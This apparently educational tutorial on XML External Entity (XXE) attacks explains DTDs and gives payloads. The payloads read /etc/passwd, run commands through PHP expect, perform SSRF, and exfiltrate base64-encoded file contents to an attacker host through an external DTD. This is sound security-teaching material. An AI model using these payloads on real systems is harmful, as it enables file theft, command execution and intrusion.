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XML External Entity (XXE)

An XML External Entity (XXE) attack is a vulnerability that abuses features of XML parsers/data. It often allows an attacker to interact with any backend or external systems that the application itself can access and can allow the attacker to read the file on that system. They can also cause Denial of Service (DoS) attack or could use XXE to perform Server-Side Request Forgery (SSRF) inducing the web application to make requests to other applications. XXE may even enable port scanning and lead to remote code execution.

There are two types of XXE attacks: in-band and out-of-band (OOB-XXE).

An in-band XXE attack is the one in which the attacker can receive an immediate response to the XXE payload.
out-of-band XXE attacks (also called blind XXE), there is no immediate response from the web application and attacker has to reflect the output of their XXE payload to some other file or their own server.

Document Type Definition (DTD)

A DTD defines the structure and the legal elements and attributes of an XML document. DTD are vulnerable depending on the parser used for parsing the enitities, e.g. DOM parser.

Example file content of note.dtd is the following.

<!DOCTYPE note [
    <!ELEMENT note (to,from,heading,body)>
    <!ELEMENT to (#PCDATA)>
    <!ELEMENT from (#PCDATA)>
    <!ELEMENT heading (#PCDATA)>
    <!ELEMENT body (#PCDATA)>
    ]>

!DOCTYPE note - Defines a root element of the document named note
!ELEMENT note - Defines that the note element must contain the elements: "to, from, heading, body"
!ELEMENT to - Defines the to element to be of type "#PCDATA"
!ELEMENT from - Defines the from element to be of type "#PCDATA"
!ELEMENT heading - Defines the heading element to be of type "#PCDATA"
!ELEMENT body - Defines the body element to be of type "#PCDATA"

NOTE: #PCDATA means parseable character data.
Resulting XML doc follows

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>falcon</to>
    <from>feast</from>
    <heading>hacking</heading>
    <body>XXE attack</body>
</note>

Replacing XML content

Replace the name in the following example.

<!DOCTYPE replace [<!ENTITY name "feast"> ]>
 <userInfo>
  <firstName>falcon</firstName>
  <lastName>&name;</lastName>
 </userInfo>

System call inside entity in the following example.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name>sdafsa</name>
<tel>789731421</tel>
<email>&xxe;</email>
<password>12345</password>
</root>

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>

PHP expect using syscalls looks like the following example.

<?xml version="1.0"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
    <email>&xxe;</email>
    <password>12345</password>
</root>

An example of SSRF using XXE follows.

<?xml version="1.0"?>
<!DOCTYPE foo [
    <!ELEMENT foo ANY >
    <!ENTITY xxe SYSTEM "http://127.0.0.1:8080">
    ]>
<root>
    <email>&xxe;</email>
    <password>12345</password>
</root>

Upload External DTD File

An external entity which is a reference to a DTD in another file can be set as well to upload a payload indirectly.

<?xml version="1.0"?>
<!DOCTYPE upload SYSTEM 'http://example.com/external.dtd'>]>
<root>&exfil;</root>

The payload which would be resource external.dtd may look like the following example.

<!ENTITY % cmd SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oobxxe "<!ENTITY exfil SYSTEM 'http://$ATTACKER-IP/?res=%cmd;'>">
%oobxxe;

Notes

Use URL/entity encoding for data that should be interpreted as a string literal completely, e.g. & or &#38.

Tools

Payload All The Things

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